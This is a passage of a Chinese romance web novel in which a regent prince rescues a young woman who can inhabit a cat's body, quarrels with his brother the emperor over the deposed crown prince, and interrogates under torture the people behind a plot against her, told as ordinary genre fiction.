崔兰亭俊雅的面容上,表情并不好看,却又碍于身份,娓娓道来,“皎皎于城郊遇险,幸得王爷相助,微臣替她感念王爷的恩情,只是,这马上就要进城,人多眼杂,让路人看见,对皎皎和王爷的声名都并无帮助,还请王爷将她放下,微臣能带她回家。”
谢珩玉眉头微挑,嘴上还是那句话,“这与你,有何关系?”
第二次问,比第一次更多几分挑衅和质疑。
说到关系,崔兰亭明显气弱了些,“微臣虽与赵家退亲,但微臣与皎皎青梅竹马,再者,她今日遇险,微臣身为京县县令,职责所在,理应由微臣寻找真凶,王爷身份贵重,此事还是交给微臣吧。”
“你还知道,你只是一个县令,”谢珩玉句句带刺,“本王偏要管她,你当如何。”
说话时,他攥着缰绳的手紧了紧,臂膀也跟着动,摩擦着少女薄软的衣料。
崔兰亭看得不适:“……”
谢珩玉:“让开。”
身下马儿似能读懂主人的话意,蹄子踏起步来,两下三下就要往挡道的崔兰亭的马撞去。
后者的马温顺许多,自觉让了路。
谢珩玉翘了翘嘴角,抬着下巴,慢悠悠地从崔兰亭身边过去。
身后的白昼低声道句,“马倒是随主人。”
崔兰亭:“……”脸色难看,手不由自主地握成拳头。
当下,心中反复思索,这样恣睢目中无人的摄政王,未来真的能成为明君吗?
如今费尽心思巴结讨好,将来哪怕摄政王有成事的一天,能记住长平侯府吗?
父亲改追随摄政王的这个决定,当真是对的吗?
前头,谢珩玉也心道崔兰亭没用,明明都已经决定好了抛弃赵福宁、另娶她人,却还做着齐人之福的梦,碰上事,连多争取一下的胆量都没有。
可不就如白昼所说,软弱吗?
哪知还没完,被甩在后面的人忽然正气地高声道:“微臣没有立场,可王爷呢,王爷如此不顾惜姑娘家的名节,难道是想纳她入府吗?”
谢珩玉嘴角的弧度消失,面上如被冰霜冻住。
他欲回头,肩膀上站着的小猫也一起回头。
“喵呜!!!”
谢珩玉的脸颊擦到柔软的**,冰冷地对崔兰亭道:“你顾惜,怎么在你眼里,她便只能做妾?”
他低骂一句“虚伪”,后再也不回头,驾马离去。
威风凛凛的福宁再度抱住他的脖子,喵呜喵呜地喊着。
方才谢珩玉这句话,简直是说到福宁的心里去了。
崔兰亭口口声声青梅竹马,她家落难的时候,不帮就算了,还一心想要她做妾,这会儿又怕她给摄政王做妾。
怎么着,在他心里,她就是做妾的命?
哼。
后面,崔兰亭没再说话,仔细琢磨着摄政王这句话是什么意思。
应该是指自己想娶皎皎做平妻的事吧?
总不至于是摄政王想娶皎皎为正妃,不可能的。
*
也不知道谢珩玉是怎么想的。
进城之后,福宁拼命护好幂篱,生怕在人前露了脸。
街面两侧的人流纷纷投来惊奇探究的目光,都想看看与摄政王同乘的女子是何人。
一路有惊无险地进了摄政王府,她被放在了先前住过的东无院,直到被放置在榻上,幂篱才摘下。
谢珩玉将一直站稳在肩上的小东西一把取下,放在她自己的脸上。
福宁低头,就发现屁屁对着自己的脸。
这人多坏呀这人!
她一下子跳起来,
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恍惚听得他发出一声轻笑,又像是她听错了。
福宁仰头望去,又被他捉住,放在榻上。
谢珩玉没走,他找了个凳子坐下,翘着二郎腿。
听白昼在外头禀报:
“王爷,那两个**已经被带去审问了,但他们咬死不认识买凶的人。”
谢珩玉不急,福宁急得很想说话了,“喵呜~”
不行,她得快点睡着,快点做回自己!
这个想法出来的一刹那,福宁一头闷倒榻上,枕在自己的胳膊上,闭眼睡觉。
……
卧房里好多人啊,这怎么睡得着呀。
总觉得是被人盯着。
她坐起身,不善地看向房中说话的两人。
“出去。”谢珩玉跟能听见她心声似的,起身到院里与白昼说话。
福宁再次阖上眼,身体里被封印住的小福似是感知到她的想法一般,困意袭来,她很快就回到自己的体内。
睁开眼,偏头。
嘶。
脖子好痛啊。
福宁忍着疼,看见胳膊上枕着的小福,软软的一小坨,心都要被可爱化了。
先将小福慢慢挪开,然后下榻走到门边,未开门,偷听院中的对话。
白昼:“王爷,那两人虽未得逞,但从前一定做过不少恶事,杀了也是为民除害。”
谢珩玉:“先留着。”说着,他似有所感地往房门瞧了一眼。
白昼:“还有那黄金,属下不认为是**的手笔,毕竟做坏事没必要携带赃物,倒更像是从赵小姐手上——”
还没说完,谢珩玉抬手,手指放在唇前,示意白昼闭嘴。
这举动,门后的福宁当然是看不见的。
她心里紧张又心虚,因为白昼的怀疑是正确的。
可不能让摄政王府的人给她定罪呀!
福宁抬手想开门出去狡辩,当手快要碰到门,又回味过来哪里不对劲。
她昏迷之后,就该什么都不知情了。
现在出现在王府,第一反应应该是什么,才能不被怀疑。
有了!
于是,外面噤声的主仆俩,就听得屋内传出少女一道惊讶又恐惧的声音——
“啊!我怎么在这里啊!见鬼啦!”
……
白昼看看房门,又看看面前的王爷,发现王爷笑了。
第75章 暧昧?本王才不会色令智昏!
谢珩玉很难忍住不笑。
“王爷,您——”不会真的对赵小姐动心了吧?
当白昼疑惑的声音又响起,谢珩玉立即收敛了嘴角,让白昼没出口的后半句话断送在喉咙里。
谢珩玉转身将房门打开,如眼帘的,是躲在床榻上发抖的少女。
不昏迷的时候,表情灵动了许多。
在看见他的瞬间,福宁睁大眼,瞳孔也随之放大,“王爷?您……我,我怎么在这,是您救了我吗?”
谢珩玉无语极了。
她为什么演得这么好笑?
他紧绷着脸,拧起眉,看起来很冷漠,“嗯。”
然后,就见她大松一口气,“王爷!您果然与外界传言不符,您真是大好人!”
谢珩玉存心想问,“哦,外界怎么传?”
外界怎么传?福宁可不敢说!
不是,他心里没数吗?
福宁尴尬一笑,“这不重要,重要的是王爷您侠肝义胆,秉公执法,您一定要严惩扰乱治安的坏人啊!那人就是冲着我来的,背后肯定有人,只要顺藤摸瓜——”
不等她说完,谢珩玉就打断,别有深意地问,“你怎知,本王抓了坏人?”
她一愣。
坏了,差点暴露。
福宁脑瓜子转得快,立马道:“我既毫发无伤,必然是王爷及时赶到,救了我啊,您英明神武,府中之人个个身手非凡,肯定抓到坏人了的。”
谢珩玉听她分辨不出真心假意的夸赞,冷哼一声。
他生出几分戏弄她的心思,遂沉下声,“那,黄金你要如何解释?”
福宁本来就想说黄金的事,听他这听不出情绪的问话,就知道他肯定把白昼的话听进去了!
她从床榻里侧挪到外侧,仰头真挚地看向他,“什么黄金?”
打开的房门外,白昼也在观察着她的神色。
可惜,被王爷挡住了。
谢珩玉低头,要不是那夜已经发现了她的秘密,这会儿说不准真要被她天真无邪的模样骗过去。
就她这样,若真想与江月娇争夺崔兰亭的正妻之位,即便没有家族为靠山,也未必不会成功。
毕竟,崔兰亭看起来谦谦君子,实则就是个色令智昏的废物。
但他可不一样。
谢珩玉直视着她的眼,四目相对,无一人退缩。
一个要证明自己不会被美色所惑,一个要证明自己的清白与真诚。
可是人一直睁着眼会累的,免不了要眨一眨。
她的睫毛很长。
谢珩玉眉目微垂,眸光中似有什么情绪一闪而逝,等反应过来的时候,他的手已经先大脑一步做出决断,掐住了她的下巴。
本就仰着头的福宁,因这一举动,脖颈处猛地一抽疼,下意识地没防备地就呼了出来,“啊,疼!”
她躲了开,伸手去摸脖颈。
也因此,错过了谢珩玉眼中的变化。
他顿在空中的手,指尖泛着热与麻,喉结微动,将手拢回袖子里。
福宁看他脸色怪怪的,主动再问,“王爷方才说什么黄金?”
门外的白昼,表情比谢珩玉还古怪多了。
白昼总感觉,王爷就算对赵小姐生出不一样的好感,也不该如此啊…
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…赵小姐和王爷两个人的相处,说不上来的怪异,就好像,两个人已经很熟了。
他们自己或许感受不到,可作为旁观者看来,就是说不上来的既疏离又亲昵。
房中,谢珩玉找回了自己的声音,面上恢复了一如既往的冷,“本王府中丢失的黄金找到了,就在歹徒的手中,恰巧赵小姐又在场,看来你的嫌疑——”
福宁可不敢叫他把话说完,这回轮到她打断了。
“王爷,您丢失的黄金找到了?!”她唰地一下从床榻上站起来,显得个子比谢珩玉还高。
她虽居高,却不会以蔑视的态度看他,作一副开心姿态,“原来偷王爷黄金的人,与要害我的人是同一批恶人,果真是老天有眼,难怪这次会让王爷救了我呢!原是要让王爷找到偷金大盗啊!”
谢珩玉被迫仰头,这个视角看人,除了皇兄,还没人敢与他这般。
可他,并未制止。
少女笑靥如花,明知是假的,可却比平日那一张张虚伪假面上挤出的殷勤的笑、讨好的笑、谄媚的虚伪的笑、强颜欢笑,要好看舒心多了。
或许,极个别的人,天生就是适合笑的。——他想。
心中那根隐匿的弦,在谢珩玉自己都不知情的情况下,悄悄被触动。
哪怕只有一瞬间。
福宁低头俯视他的脸,靠得也不算很近,应该没有冒犯到他……吧?
看着他凝固的神情,她后知后觉地想起,他不喜欢别人笑。
于是,福宁唇瓣扬起的笑容也逐渐凝结,酒窝缓缓消失,她跳到床榻下面穿鞋。
第76章 非要在床上审问我?
他唤道:“赵福宁。”
福宁:“嗯?”已经穿好鞋了。
“你要走了?”谢珩玉声音轻轻的,冷冽道:“本王还没审你。”
话里话外,都是:你好像将王府当成来去自如的地方了。
福宁挑着眉头,难道在他眼里,穿个鞋就代表要跑吗?
她才不呢,那两个坏人还没审出来,没抓着真凶,她可不放心。
她反问,“王爷非要我在床榻上,审我吗?”
……
有些话,从嘴里出来后,就变了味道。
两人的面上皆闪过一丝不自然,福宁忙低下头,假装继续穿穿好了的鞋。
谢珩玉深吸一口气,视线移开,看见门外睁着大眼睛的白昼,皱了皱眉,目光移回来又落在她的发顶。
他刚要说些什么,福宁已经自己从尴尬的情绪中缓解,突然抬头。
两人的视线撞上,他的话不自觉咽了回去。
福宁努着两条秀眉,表情说不出来的怪异,透着委屈,拗道:“但是,王爷为何要审我?我是受害者啊,那两个恶人都不用王爷亲自审。”
谢珩玉也不知道。
看着她这副委屈却还要畅所欲言的模样,关于黄金的事自觉地被抛之脑后。
“本王是问,你,怀疑是谁。”
嚯。
福宁一下子来劲了,转瞬间脸上哪还有半点委屈,“我怀疑是江二,她一直就想害我,而且,她今日怎么就这么巧——”糟糕,差点说漏了。
自己当时是昏迷的,不该知道江月娇是否去了城郊。
谢珩玉看着她,明知故问,“巧?”
正当福宁不知该如何解释时,摄政王府的管家赶来急报,“王爷,宫里出事了!”
谢珩玉的注意力被转移,眼底的笑意被紧张代替,“可是皇兄出了什么事?”
管家摇头,看了看在场唯一的外人“福宁”,不敢多说,“不是陛下,是那位……”
被转移注意力的不止一人,还有福宁。
她此刻满头问号。
那位,那位是哪位?
打什么哑谜呀,看来也没那么着急嘛。
福宁转头,见谢珩玉脸色沉沉,不愉至极,显然是听懂了这哑谜。
白昼也懂了,“王爷,看来他们开始生事了。”
果真是只有福宁一个外人,她听得云里雾里。
谢珩玉眼中闪烁危险的光,看向福宁,“你自己回家。”语罢,他快步迈出门去。
福宁还能看见因他双手摆动,而飘荡的宽大袖子。
不是,这就完了?
她就要回去了?还没看见坏人交代情况呢!
她垂头丧气,忽听远去的脚步声又响起,再抬头,是谢珩玉走了回来。
他脸上还是那般肃穆,回来也不为与她交代什么,单纯是忘了一样东西。
紧接着,福宁就见他一把捞起床榻上睡得“正熟”的小福,揣在袖子里走了。
倒是不忘小福,在紧急的事情面前,也要把她先送回燕景园。
临了,听他还强调一句,“你走小门。”
福宁乐意走小门,她也不愿意叫人看见招来闲言碎语,麻烦得很。
小门人少。
打开门,就见自家马车体贴地停在门口了。
从车窗一直探头观察等待的阿婵,眼睛一亮,深呼一口气,“小姐!您终于出来了,王爷怎么说?”
“他?他忙别的事
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了,”福宁摇摇头,“我还以为你回去了呢。”
阿婵也摇晃头,“王爷的手下不让奴婢回去,说奴婢回去会给老爷夫人乱讲,到时候老爷夫人跑来要人,会惹王爷生气。”
福宁也怕父母担心,嘱咐道:“回去也别说这件事了,反正我没受到什么伤害。”
阿婵点点头。
赵家的马车驶在路上,途经王府大门时,正巧碰着崔兰亭要求见。
莫不是来找她的吧?
方才不都已经被说服了吗,怎么还来?
福宁原本想直接视而不见的,可又想到他在城外说的那些话,心里憋着的那口气发不出,总是不爽,遂掀开窗子。
崔兰亭也瞧见了赵家马车,见她已然没在王府内,舒心许多,上前来,站在马车外与她对望,“皎皎,你醒了,他没对你做什么吧?”
“你在王府外说这些,当真不怕败坏我的名声吗?”她反问,言语是强势的逼问,面上却是平静如水,仿佛不论他说什么,她都不会被影响。
闻言,崔兰亭双眸彷徨,左右环顾一眼,确认无人听见,还是把本就不响亮的声音压得更低,“对不起,我不该问你这些,不论你遭遇什么,我都绝不会不管你,从前你说的气话,我也不会当一回事,今日你受到惊吓了,可要我送你回去?”
福宁不被他的担忧所迷惑,而且他担忧的话,听起来很不顺耳。
她:“我遭遇什么?你该回去问问你的未婚妻,而非惺惺作态地面对我,你这样只会让我恶心,还有,你不要这样喊我。”
福宁顿了顿,“算了,我回去让爹娘给我另取个小名吧。”
这个名字脏了。
第77章 王爷挨骂
“皎皎你……”他惊愕又沉痛。
“崔兰亭,你其实心里也清楚,是谁对我不利吧?还好这桩案子由大公无私的王爷亲自官,不然,谁知你是不是会包庇某人。”
明明她想强调的,是他会包庇江月娇,用大公无私形容谢珩玉,只是为了阴阳怪气。
而崔兰亭听到的,好像只有那四个字,他不敢相信,“你当真喜欢上——”到底是不敢说出摄政王,“皎皎,你家有今日,是他的手笔,你竟喜欢他?你知道他的手段吗,你怎么——”
福宁忍不住笑了一声,“人家是铁面无情,那你呢,你崔家落井下石有什么可骄傲的。我爹还没革职的前一夜,你与你父亲连夜求见王爷,说的是什么,你真当能一直骗我?”
崔兰亭嘴角一抽,不知所措,“你……”摄政王怎么连这个都告诉她……
也对,男人对一个女子有意的时候,会不择手段,何况是摄政王那样的人物呢。
崔兰亭苦笑一声,“皎皎,我知你怪我,可我也没得选择。”
他又没选择了。
福宁认真道:“既然你做主不了你的人生,就别妄图做主我的人生了,我不需要你自以为是的拯救,在你眼里,我只配做个妾,不是吗?”
崔兰亭看着她,眸光一闪,原来,在马背上的时候,皎皎就已经醒了……
不然怎么会听见他与摄政王的对话呢?
可她明明醒了,却坦然地接受与摄政王同乘一骑,没有挣扎。
她明知男女大防,还敢与男子这般亲密。
赵家落魄才几天,她竟就完全变了。
崔兰亭清楚地意识到,哪怕此刻两人面对面,也无法改变彼此间疏远的距离。
他怔愣之际,马车的窗户已经被重重关上。
回了家的福宁并没有因为崔兰亭的态度而难过,她现在只因为失去的黄金而难过。
出去这么一趟,两个黄金屋没了。
哎,至少她人没有受到伤害。
得再想办法搞钱了。
现在谢珩玉不在王府,小福在府里,她现在过去的话,应该也是个好时机。
黄金屋叫谢珩玉拿回去了,她总得搞点别的回来。
生出这个想法,福宁又唾弃一遍自己。
她已经面目全非了!
唾弃归唾弃,并不影响行动。
奈何,想法与现实是有差距的。
当再次醒来,发现并不在熟悉的王府卧房,而是在一张书桌上。
这书桌,还很别致。
像是……
她环顾室内,见着乌泱泱的一片跪在她面前,吓了一跳。
跪着的官员中,有穿着紫色官袍的,有穿着青色、绯色官府的。
殿内气氛凝滞,能叫这些官员长跪不起的,只有皇权了,福宁甚至能嗅到杀气。
是谁要**呢?
福宁站在御案上,朝养心殿里侧望去,里面还跪了几个宫人,连皇后都跪着,皇帝还躺在龙榻上,只有一人是站着的。
谢珩玉。
她看见他挺直的背影,颀长的身子将宽大的朝服撑得恰到好处,光一个背影,也能看出他不怒自威的气势。
反而龙榻上病弱的皇帝,要弱势些。
若是不知道的,还以为某人要逼宫**呢。
福宁知道不会的。
很快,就验证了猜想。
皇后苦口婆心地劝皇帝,“陛下,烛儿做了不该做的事,受罚是他该的,不能宽恕
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他的,珩玉说得对,陛下不要再为了烛儿的事为难了,伤了你们兄弟间的情分。”
嚯。
难怪谢珩玉不跪呢。
原来白昼和管家的哑谜中的“那位”,指的是太子呀!
太子是出了什么事,让陛下想宽恕了太子,谢珩玉不同意?
那跪着的这一地官员是……
“陛下!皇后说得有道理,太子不能宽恕啊!”跪在前面的官员俯首,高昂地喊。
跪在其后的一众官员附和,“请陛下三思!”
哦不,还有几个没附和的,跪的笔直,持不同意见,“太子乃陛下长子,做错事是因年轻受人蛊惑,此番在宗监室已经悔改多日,今日留下**自缢,说明已经醒悟,微臣认为,该给太子悔过自新的机会,人非圣贤孰能无过?”
谢珩玉骤然回头,幽冷阴鸷的目光死死盯着说话的官员,“谋逆在你眼里,用一句孰能无过就可以原谅?”
想保太子的官员心慌,汗水从黑色的官帽里流淌而下,“殿下,这亦是陛下之意,陛下缠绵病榻,您身为摄政王,也当为陛下着想。”
谢珩玉扯扯嘴角,有点暴躁,话语简短直接,“奸佞之言,不堪入耳。”
“够了!”有气无力又生气的齐武帝,从龙榻上半坐起,“朕还没死,朕就是要让烛儿出来,你们当如何?!”
从旁扶着皇帝的皇后低下头,在官员看不到的角度,抿嘴。
谢珩玉看见了,脸色晦暗,“臣弟反对。”
福宁看得胆战心惊,下一瞬,就听气急的齐武帝使尽全身力气怒斥——
“烛儿也是你的血亲,你非要他死,才甘心吗?!”
“滚,滚出去!”
第78章 皇帝不急,摄政王急
被向来视为依靠的皇兄这般质问,谢珩玉也是不敢相信的,一直冷凝的面上,闪过惊愕,又是一阵恍惚。
耳旁仿佛还飘荡着这句话,在他耳边环绕,折磨着他。
他看着龙榻上被皇后扶着的虚弱的皇兄,沉寂片刻后,自嘲道:“皇兄是这样想的吗。”
齐武帝的不满才发泄了一半,见着弟弟苦闷之态,意识到自己说话重了。
可即使想安慰他,一想到他反对谢烛出来,齐武帝一狠心,“滚,滚出去!”
只有他走,剩下的那帮老顽固,才好解决。
否则,有他在前面挡着,那些人更不能同意烛儿出来了。
谢珩玉闻言,比起愤怒,他更多的是失望。
他看一眼很快就该得意的皇后,再看一眼不知何时已经迅速变老的皇兄,张张嘴,竟不知还该说些什么了。
遂甩着袖子,转身从跪着的官员中央走过,踩的步子蹬蹬作响。
一听就是故意为之。
所有人的头,只是埋得更低了。
连福宁都没太敢乱瞟,皇帝和摄政王吵架,这场面骇人得很。
直到脚步声远去,她才忽然意识到,自己被遗忘在御案上了。
此时,王皇后又开始装模作样,“陛下,您何必与珩玉置气呢,为了烛儿,怎么值得……”说着,突然伤感地要去擦眼泪。
齐武帝没注意皇后的眼泪,反而是望着谢珩玉离开的方向,重重叹口气。
皇后又道:“珩玉还年轻,等成了亲,有了知冷暖的人,便会成熟些,不再同陛下置气了。”
皇帝点点头,再看向众臣,“朕意已决,你们还要说什么?”
……
不行了,他们讲话实在太慢了。
福宁倒是还想多偷听两句,看看结果,可是不能,因为谢珩玉真要走远了,待会找不着出不了宫了。
最终只能放弃了偷听,跳下御案,追着跑出殿外。
宫道上,谢珩玉步伐很快,看样子是一点都没想起来自己忘了什么。
被皇帝一凶,他就气糊涂了呀!
福宁感慨着,跑了好一会儿才追上,喘得很。
走到他脚后的时候,发出“喵~”一声,试图唤醒他。
可是她呢,却跟没听见似的,不回头,也不低头,一直走。
福宁想抓他的脚,也抓不住。
只得加快步伐跑到他脚前面,想提醒他,她跟上来了。
结果,他不仅没注意,还因走得快,一脚差点踩她身上。
“呜哇——”还好她躲得快,但还是不幸被踩到了尾巴,惨叫一声后,忧伤地跑得远远的。
谢珩玉终于注意到了,停下步,低头往她看。
只见毛茸茸的一团躲在宫墙下,背靠着宫墙,离他远远的,看他一眼后,不满地低下头。
谢珩玉就这样看着她,片刻后,才抬步走到她面前,将她搂起来。
福宁也有点生气了,嘴角都是向下的,低垂着眼眸不看他,想躲开。
奈何他强硬,还是被他抱住了。
她伸出爪子,朝他重重一拍。
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被他抓住,揉弄脑袋。
许是被皇帝气糊涂了,福宁听他的声音有些低哑,“这么快来了。”
还快?
福宁冷哼,不跑快点真的跟不上他。
随后,谢珩玉就不讲话了。
自打她出现,他的步子倒是慢了不少,福宁能感受到他的情绪,不止是低落。
他掏心掏肺地对齐武帝这个哥哥,反对释放废太子,还不是为了齐武帝,谁不知道齐武帝就是被废太子气病的,一夜间老了十岁不止。
现在可倒好,被打的人不记打,真是皇帝不急太监——摄政王急了。
吃力不讨好。
还被用恶意揣测。
皇后娘娘真坏,废太子也不是个好东西……福宁心里想。
她坐在他怀里,老气横秋地叹口气。
连废太子这个谋逆的都能安然无恙,那她爹算什么,她家不就是送了点礼吗,都没参与谋逆,这还……
诶不对啊。
福宁又想到什么,古怪地板起小猫脸来。
差点忘了,她爹给废太子送了那好些礼,虽然最终充了公,肯定不会再落到废太子手里,但是明面上她家算是废太子一条船的。
先前她还期待着废太子能出来、东山再起,顾念着她家没有功劳也有苦劳,平白遭了罪的份上,对她家好点,给她爹官复原职呢。
现在怎么莫名其妙地开始骂太子了。
思考之际,福宁的两只爪爪不由自主地环抱起来,凌乱的小脑袋炸的更加明显了,随风飘荡时还掉了几根。
第79章 安慰的抱抱
**立场可真考验人!
谢珩玉不知她在想什么,但能看出来,肯定没想什么好东西,这么安静定是在憋坏主意,指不定又要想偷点什么填补她失去的黄金。
此时此刻,连他自己都没察觉到,自己方才沉重失望的情绪,已经因为她的存在,而默默消散,注意力也慢慢被转移。
后头,李大监追了上门,“王爷,王爷!”
谢珩玉停步。
他回身的同时,福宁也被李大监的声音喊回了神,一人一猫再次同步回头。
以为是齐武帝派来说和的,谢珩玉冷下声,“公公还有何事?”
心里却是缓和了。
李大监白皙的面庞是忧愁与担忧,“王爷可千万莫要与陛下置气呀,老奴也算是看着您长大的,在陛下心中,您永远站一块重要的位置,只是大皇子毕竟是陛下嫡长子,是子嗣中感情最深厚的,此番大皇子留下绝笔自缢,陛下也是怕他在做傻事啊!”
原来不是齐武帝派来说和的,是李大监自己来的。
谢珩玉的那颗心,又渐渐凉了下去,“谁都知道,他不过做戏博取怜悯罢了,一心求死的人,根本救不回来。”
李大监心里也清楚,但这话可不敢说,“王爷啊,陛下也是人,虎毒不食子,不敢赌啊。”
“……”谢珩玉不懂,又问,“他们又说了什么。”
这……李太监也不敢说。
“喵~”福宁知道,“喵嗷~”皇后说你不成熟,要成家就能成熟啦。
她仰头看他,可惜他看不懂。
谢珩玉见李大监不说话,嘴角向下,冷笑一声透着苦涩,“也对,他们才是一家人。”
“你去告诉他,往后我不管了,让他传位谢烛,再将我流放了以绝后患罢!”
他话放得狠,李大监惊愕地忙回头看看,好在是没别人。
李大监压低声,劝告道:“就算王爷与陛下感情再好,这话也不可乱说啊!”
谢珩玉冷笑,不再多言,转头踏步就走了。
前面好不容易放缓的步子,这下又急了。
气上头的人,哪里能管住话,他都放出流放他这种狠话了。
福宁跟着他的步子在他怀里一抖一抖的,仰着脑袋,苦恼地想。
可话放得再狠,他也没说要**啊,他说的,都是伤害自己、对自己狠的话呀!
害!
看着谢珩玉压着愠怒的面容,她鬼使神差地往上攀去,顺着他的胸部攀上他的脖颈。
不管从前如何,赵家立场如何,至少今日的谢珩玉没有做错任何事。
想到今日是他急事赶到救了自己,福宁一点也不想吝啬自己的关怀,伸出前肢环抱住她的脖子,下巴抵在他的肩膀上,脑袋上凌乱的毛发摩擦在他耳下,硬生生给捋顺了。
就像人安慰人,拍背那样,她用爪子拍拍他的脖子。
拍了两下,以示安慰。
“喵~”
这一声,比以往都要温柔许多,要不是因为她的举动不像猫能做出来的,不然谢珩玉都以为是真小福又回来了。
他突然停下,低头想去看赵福宁要干嘛。
奈何她不松手,还在继续拍他,一下一下,缓缓地。
谢珩玉看不见她的脑袋与神色,只是那几撮**有一搭没一搭地触碰着他,这种感觉很怪异。
有点后背发凉,又有点麻麻的,痒痒的。
他只能看见某条实际不粗,但长毛显得很粗的尾巴,在他的视野范围内,摇啊摇。
**毛乱飞,沾在他的身上、衣裳上,再也除不掉了
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。
只会越来越多。
她是在安慰他。谢珩玉后知后觉反应过来,那瞬间,对皇兄的失望与愤怒,又被遗忘脑后。
心中所想的,从“流放我算了”,也慢慢地被奇怪的赵福宁所取代。
他开始想,“她倒是同情心泛滥了,究竟是谁更可怜?”
又想,“难怪会被崔兰亭这等道貌岸然的懦夫欺骗,真傻。”
还想,“一窝的歹竹,竟能出一根这样的好笋。”
“不,她也不是好笋,她偷他黄金。”
谢珩玉板起脸,将她从脖子上扒下来,带走。
直接带她去了京影司的地牢。
京影司不归刑部和京兆府,但却可越过流程,内设牢狱,想插手哪桩案件,便可直接审理犯人、亦可从刑部、京兆府直接提人、接管犯人。
这便是京影司的权力,换句话说,是谢珩玉的权力。
能拥有比太子还大的权力,可见齐武帝是多么放心他,明明知道他忠心不二,方才还说出那样的话重伤他。
福宁又是长叹一声,但很快,闭起了小嘴巴。
不敢呼吸。
通往地牢的暗道,阴森森的,随着谢珩玉越往里走,后面那光便离得原来越远。
随之而来的,还有刺鼻的血腥味,和一道道凄惨的叫声、呐喊。
京影卫抱拳,“属下参见王爷!”
谢珩玉感受到怀中的小猫儿缩了缩身子,暗道她胆真小,动作却不由地将她搂紧一些,另一只大手仿佛是不经意地、无意识地盖在她的一只耳朵上。
他严肃道:“今日送来的人呢。”
“在那边,王爷请。”京影卫领悟。
再然后,福宁就见着白天要害自己的两人,被夹在十字架上,双手被铁链掉在两侧。
第80章 全招了
血腥之气更重了,说不清是这两人的血,还是隔壁牢房传来了。
与铁锈的气味夹杂融合,福宁将鼻子抵在他手腕的衣料上。
“王爷,他们两人誓死不交代。”京影卫道。
被打得满身是伤的两名**,本来闭着眼睛,听闻此言,顿时睁开,用不多的气力喊道:“苍天啊!真没见过雇主,要我们交代什么啊!”
京影卫仿若未闻,又道:“他们二人嘴硬得很。”
**:“交易是在城外,那人遮着脸戴着斗笠,除了能看出是个女子之外,哪还能看出别的。”
“但是我们讲好,待计划成功,黄昏时在城外交钱。”
黄昏,已经过了。
谢珩玉看向京影卫。
后者点头,“王爷,此人说的时候,属下就派人去了,根本没有打扮严实的人。”
**:“我该说的都说了,你们找不着人,我有什么办法。”
京影卫瞪他,“你一个混迹下九流的人,有人雇你,你竟不追踪对方住所,不查明对方身份,本就可疑。”
**欲哭无泪,“干我们这行的,知道太多有什么好处!只管拿钱办事就是了。”
其实说的有道理。
福宁都觉得有道理。
能花大价钱买凶的,家里肯定非富即贵,这样的人家为何不用自己人去做坏事,本来就是怕惹祸上身,觉得外头的专业。
谢珩玉转身,抬手举起一根烧红了的烙铁,“雇主既没出现,说明她已经知道了。”
京影卫听得连连点头,**懵了,“啊?对了!买家让我们办完事就退,我们猜测是要来捉奸的,她没捉到,当然不会出现!”
事实也是如此。
谢珩玉却忽然反问,“办事?”
**心想自己反正没办成,老实交代说不定还有活路,“是啊,她要我们毁了那姑娘的清白,再毁了她的容貌,不杀她。”
而在这个世道里,毁了姑娘的清白与容貌,还将其衣衫不整地放在郊外,即便不死,也会受到比**害更残酷的折磨。
故,连**都觉得这手段残忍。
谢珩玉双眸微眯,寒光划过,他低低啧了一声,低头对上怀中小猫嘟着嘴生闷气的样子,能看出她也生气。
他握着的铁柄的手紧了紧,再看向烧红的烙铁,嗓音发凉,“**之女,竟这般狠毒。”
福宁张大眼睛,愤怒被惊讶取代。
没想到,她之前说的话,谢珩玉真的听进去了!他真的相信她的一面之词啊!
没错没错,就是江月娇,快去将她绳之以法吧!
“喵呜~喵嗷嗷~”
谢珩玉对她的叫声置若罔闻。
牢房中的**要奔溃了,所以闹了半天,明知道买凶之人是谁,还要逼问、严刑拷打他们!!!
而下一瞬,火红的烙铁就隔着破烂的衣裳,被印在了胸膛上。
“滋滋滋”的烧灼声响起,冒着烟,那气味与平常烤熟东西的味差不多,与血腥味混杂在一起。
谢珩玉突如其来的举动,速度很快,快到福宁没反应过来。
还没来得及闭上眼,还趴在他怀里呢,就对上坏人狰狞的面容。
“啊啊啊”惨叫的声音令她汗**竖起。
真可怜……但是一想到自己差点要遭遇的事情,福宁便觉得这些恶人是活该,从前定也是帮别人做了不少恶事!
现在要遭报应,也是应当!
谢珩玉距离凶手超过一臂距离,他阴冷的面上,既嫌弃又带着戾色,坚持地举着烙铁,那烧灼的声音持续了很久。
虽然没有证据可以证明,江二就是凶手。
但,带着答案找证据,很简单。
他抬着臂,在滋滋滋的持续的响声中,开口吩咐,“衬夜,将寿安伯次女的心腹丫鬟绑来。”
这自然是不合律法的事。
但……京影卫面色如常,显然不是第一次做这样的事了,“是。”
不出半个时辰,江月娇的婢女丹心就昏迷着被关在了另一间牢房。
京影卫搬来干净的两条凳子,一条给王爷,一条给王爷的猫。
谢珩玉坐下后,根本没有要把福宁放下的意思,任她躺在自己的大腿上。
他又翘起了二郎腿,低头忍不住联想到上回翘腿差点踹到她,她生气又不敢发作,憋着那口气的样子,不自觉发出一声笑。
这笑,可把京影卫吓坏了。
不知道王爷在笑什么。
什么意思,难道拿两条凳子拿错了?
“泼水。”谢珩玉等不了。
一瓢凉水下去,丹
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心是被泼醒的。
醒来发现自己身处何地,还以为自己是做噩梦了,直到见着对面坐着的男人。
“摄,摄政王……”
谢珩玉偏过头,懒得多说,直接下指令给京影卫,“上刑。”
???丹心怕极了,把生平干的所有能得罪摄政王的事都想了一遍,也只能想起中途失败的——毁赵小姐清白计划。
她立马喊,“奴婢说啊,王爷要问什么,奴婢都说啊!”
何必要上刑呢!
王爷既将她抓来,必然是什么都知道了,为今之计,她只有弃小姐、保自己了!
谢珩玉见她一副随时都能卖主的不忠之态,心中厌极,冷笑着,不语。
京影卫明白了,就是还得上刑。
“喵~”某小只突然抬起两爪,趴在谢珩玉的腹部。
他低头,捂住她的两只耳朵。
接着,便是鞭刑。
京影卫心里有数,并不像先前打**那样狠,点到为止,毕竟这个肯定还要送回去的。
最终,丹心全招了,“我家小姐嫉妒赵小姐得崔世子喜爱,所以下此毒手,想让崔世子彻底死心,也让赵小姐再无踩在她头上的可能。”
谢珩玉这下没再捂着福宁的耳朵,他就是想让她听听。
他抬眸,没有温度地问,“还有呢。”
还有?丹心认为自己已经说了重点了,不明白摄政王还想问什么,她垂着头,唇色苍白,捡着什么说什么:
“上回,大小姐从王府回去,便闷闷不乐,大小姐觉得赵小姐对她的王妃之位有影响,害怕王爷会喜欢上赵小姐……咳咳咳。”丹心说一半突然咳嗽起来。
